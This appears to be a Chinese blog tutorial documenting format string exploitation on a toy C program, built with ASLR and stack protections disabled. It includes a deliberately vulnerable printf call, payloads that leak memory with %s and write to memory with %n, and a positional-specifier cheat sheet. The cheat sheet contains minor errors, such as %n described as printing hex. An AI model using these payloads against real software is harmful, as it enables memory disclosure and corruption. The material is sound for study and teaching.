【逆向學習記錄】格式化字符串漏洞利用

#學習記錄:格式化字符串漏洞利用
##1 背景

之前在實際漏洞利用的過程中,用過幾次格式化字符串,一直都是照葫蘆畫瓢,一直都是有點模棱兩可的,趁着有時間,趕緊把這個漏洞補上。

參考文章:http://www.secbox.cn/hacker/7482.html
http://www.freebuf.com/articles/network/62473.html
http://blog.csdn.net/immcss/article/details/6267849
##2 格式化字符串案例
###2.1 案例編譯

#include<stdio.h>
int main() {
    char str[100];
    fgets(str,100,stdin);
    printf(str);
    return 0;
}

編譯的過程要把ASLR關閉,使用root權限關閉,然後切換回普通權限
echo 0 > /proc/sys/kernel/randomize_va_space
使用普通的用戶組進行編譯,注意關閉堆棧保護
gcc -m32 -z execstack -fno-stack-protector format_str.c -o format_str -g
###2.2 案例分析
####2.2.1 探測堆棧分佈

當寫入ABCD時,內存分佈如下
這裏寫圖片描述

可以看出寫入的內容是反向的
這裏寫圖片描述
####2.2.2 使用%s泄漏內存info
通過上面的探測,我們發現,其實前面一段輸入已經寫入內存
比如,如果想要獲取地址0x44434241地址的值
ABCD輸入之後,探測到第七個%08x爲ABCD的值,
如果將這個%08d替換爲%s,實際上就相當於從0x44434241這個地址讀取一段內存,造成了內存泄漏的漏洞。

因此,如果我要獲取0xffffd4f0的值,通過上面的輸入對比可知,需要逆轉:
\xf0\xd4\xff\xff%08x%08x%08x%08x%08x%08x%s

然而,當從shell輸入之後,得到如下結果:程序崩潰了
這裏寫圖片描述
後來發現shell 在讀取\x時會自動轉化爲\x因此難免崩潰了。
因此修改程序如下:

#include<stdio.h>
int main() {
    int a = 0xffffd480;
    int *p = (int*)a;
    *p = 1234;
    printf("\np=%s\n",p);
    // char str[40] = "AAAA%08x%08x%08x%08x%08x";
    char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%s";
    // fgets(str,100,stdin);
    printf(str);
    printf("\np=%s\n",p);
    return 0;
}

這裏寫圖片描述

####2.2.3 %n 寫入N

修改代碼爲:N = 4+ 3*8 = 28

#include<stdio.h>
int main() {
    int a = 0xffffd480;
    int *p = (int*)a;
    *p = 1234;
    printf("\np=%s\n",p);
    // char str[40] = "AAAA%08x%08x%08x%08x%08x";
    char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%n";
    // fgets(str,100,stdin);
    printf(str);
    printf("\np=%d\n",*p);
    return 0;
}

經過探測,發現爲第四個%08x,修改爲某個可訪問地址獲得內存信息
這裏寫圖片描述

通過控制位數,完成任意長度構造
char str[40] = "\x80\xd4\xff\xff%08x%08x%100x%n";
##3 備註
當然,這些都是最簡單的情況,
關閉了所有的保護,並且使用的32位的程序,
這裏寫圖片描述
真正在實際中,遇到的要比這些複製的多,都是配合shellcode或者跳轉到system函數
###3.1 Format
%[標誌][輸出最小寬度][.精度][長度]類型

其中跟格式化字符串漏洞有關係的主要有以下幾點:
1、輸出最小寬度:用十進制整數來表示輸出的最少位數。若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0。
2、類型:
d 表示輸出十進制整數*
s 從內存中讀取字符串*
x 輸出十六進制數*
n 輸出十六進制數

http://www.cnblogs.com/Ox9A82/p/5429099.html
32位
讀
'%{}$x'.format(index)           // 讀4個字節
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
寫
'%{}$n'.format(index)           // 解引用,寫入四個字節
'%{}$hn'.format(index)          // 解引用,寫入兩個字節
'%{}$hhn'.format(index)         // 解引用,寫入一個字節
'%{}$lln'.format(index)         // 解引用,寫入八個字節
64位
讀
'%{}$x'.format(index, num)      // 讀4個字節
'%{}$lx'.format(index, num)     // 讀8個字節
'%{}$p'.format(index)           // 讀8個字節
'${}$s'.format(index)
寫
'%{}$n'.format(index)           // 解引用,寫入四個字節
'%{}$hn'.format(index)          // 解引用,寫入兩個字節
'%{}$hhn'.format(index)         // 解引用,寫入一個字節
'%{}$lln'.format(index)         // 解引用,寫入八個字節
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 棧上的第一個QWORD
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章